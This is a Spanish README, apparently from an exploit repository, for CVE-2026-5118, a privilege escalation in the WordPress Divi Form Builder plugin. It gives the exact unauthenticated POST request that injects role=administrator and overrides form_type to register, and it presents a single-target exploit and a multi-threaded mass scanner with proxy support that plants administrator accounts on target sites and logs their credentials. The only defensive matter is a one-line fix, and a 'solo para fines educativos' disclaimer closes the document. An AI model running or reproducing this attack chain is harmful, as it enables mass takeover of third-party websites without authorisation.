
Exploit automatizado y escáner masivo para CVE-2026-5118, una escalada de privilegios sin autenticación en WordPress Divi Form Builder <=5.1.2, que permite la creación de cuentas de administrador mediante inyección de roles.
Escalada de Privilegios No Autenticada mediante Inyección de Rol
=== Beelze ( zeroday 1diot9 ) ===
| Campo | Detalles |
|---|---|
| CVE ID | CVE-2026-5118 |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Gestión Inadecuada de Privilegios |
| Plugin | Divi Form Builder (de Divi Engine) |
| Afectado | Todas las versiones ≤ 5.1.2 |
| Parcheado | 5.1.3 (13 de abril de 2026) |
| Publicado | 20 de mayo de 2026 |
| Investigador | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
El plugin Divi Form Builder para WordPress es vulnerable a Escalada de Privilegios No Autenticada en todas las versiones hasta la 5.1.2 inclusive.
La función create_user() dentro de FormSubmissionHandler.php acepta un parámetro role controlado por el usuario desde los datos POST durante el registro de usuarios sin validarlo contra la configuración default_user_role del formulario. La única "protección" es sanitize_text_field() — que elimina etiquetas HTML y codificaciones, pero no hace nada para restringir el valor a roles seguros — seguido de una comprobación de existencia que simplemente verifica si el rol existe en WordPress (y administrator siempre existe).
Este triple fallo permite a atacantes no autenticados:
fb_nonce) del objeto JavaScript de_fb_objform_type a register mediante POST — convirtiendo cualquier formulario en un punto final de registrorole=administrator en el envío AJAXResultado: Toma completa del sitio — cero autenticación, cero interacción del usuario, una solicitud POST.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~linea 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← SOLO elimina etiquetas/codificaciones!
: 'subscriber'; // ← 'administrator' pasa LIMPIO
sanitize_text_field() está diseñado para sanitización de texto libre (prevención de XSS). NO valida contra una lista blanca de roles seguros. La cadena "administrator" no contiene etiquetas HTML, ni codificaciones especiales — pasa completamente intacta.
// ~linea 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback SOLO si el rol no existe
}
Esta comprobación pregunta: "¿Existe este rol en WordPress?" — y administrator siempre existe. Nunca pregunta la pregunta correcta: "¿Es este rol seguro para el autorregistro público?" Una comprobación adecuada validaría contra una lista blanca como ['subscriber', 'contributor'] o aplicaría la configuración default_user_role del formulario.
// ~linea 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← ¡rol controlado por el atacante aplicado directamente!
Sin comprobación current_user_can('create_users'). Sin comprobación current_user_can('promote_users'). Sin verificación de capacidad alguna. El rol suministrado por el atacante se pasa directamente a set_role().
// Localización de JS en el frontend
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← MISMO nonce en TODOS los formularios, TODAS las páginas
// ...
]);
El fb_nonce se crea mediante wp_create_nonce('security') — una cadena de acción genérica compartida en cada formulario DFB del sitio. Cualquier visitante puede extraerlo del código fuente de la página leyendo el objeto JavaScript de_fb_obj.
// Manejador AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← ¡activado por sobrescritura POST!
}
El form_type se lee de los datos POST, no de la configuración del formulario en el servidor. Un atacante puede enviar form_type=register a cualquier envío AJAX de DFB — un formulario de contacto, una solicitud de cotización, un registro de boletín — y el servidor ejecutará la ruta de código de registro. El propósito original del formulario es irrelevante.
[Atacante No Autenticado]
│
▼
GET /cualquier-pagina-con-formulario-dfb/
← Código fuente HTML: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extraer fb_nonce del objeto JavaScript de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INYECTADO│
│ form_type = register ← SOBRESCRITO │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ pasa
wp_roles()->roles['administrator'] existe? → SÍ ✓ pasa
$user->set_role('administrator') ✓ sin comprobación de capacidad
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Acceso Completo de Administrador] 🔥
CVE-2026-5118.py — Exploit para un Solo ObjetivoCadena de exploit completa de 5 fases con descubrimiento automático de formularios y extracción de nonce.
python3 CVE-2026-5118.py
URL del objetivo: https://target.com
Nombre de usuario [beelze_admin]:
Contraseña [Beelze123!!@#!]:
Correo electrónico [[email protected]]:
Tiempo de espera (segundos) [15]:
Proxy SOCKS5 (en blanco = ninguno):
Fases del Exploit:
Fase 1 ▶ Accesibilidad (HTTPS + fallback HTTP)
Fase 2 ▶ Detección del Plugin (verificación de versión en readme.txt)
Fase 3 ▶ Descubrimiento de Formularios y Extracción de Nonce
├── Escaneo de páginas por API REST
├── Sondeo de rutas comunes
├── Rastreo del sitemap
└── Rastreo de enlaces en la página de inicio
Fase 4 ▶ Inyección de Rol (Escalada de Privilegios)
Fase 5 ▶ Verificación de Inicio de Sesión como Administrador
Salida (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Escáner MasivoExplotación masiva multi-hilo con registro en JSONL y soporte de reanudación.
python3 CVE-2026-5118-mass.py
Archivo de objetivos (una URL por línea): targets.txt
Nombre de usuario [beelze_admin]:
Contraseña [Beelze123!!@#!]:
Correo electrónico [[email protected]]:
Hilos [10]:
Tiempo de espera (segundos) [10]:
Archivo de proxies (SOCKS5, uno por línea, en blanco = ninguno):
¿Reanudar escaneo anterior? (s/n) [n]:
Características:
Salida (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role del formulario, ignorando cualquier parámetro role proporcionado por el usuario desde los datos POSTBeelze ( zeroday 1diot9 ) — solo para fines educativos e investigación de seguridad autorizada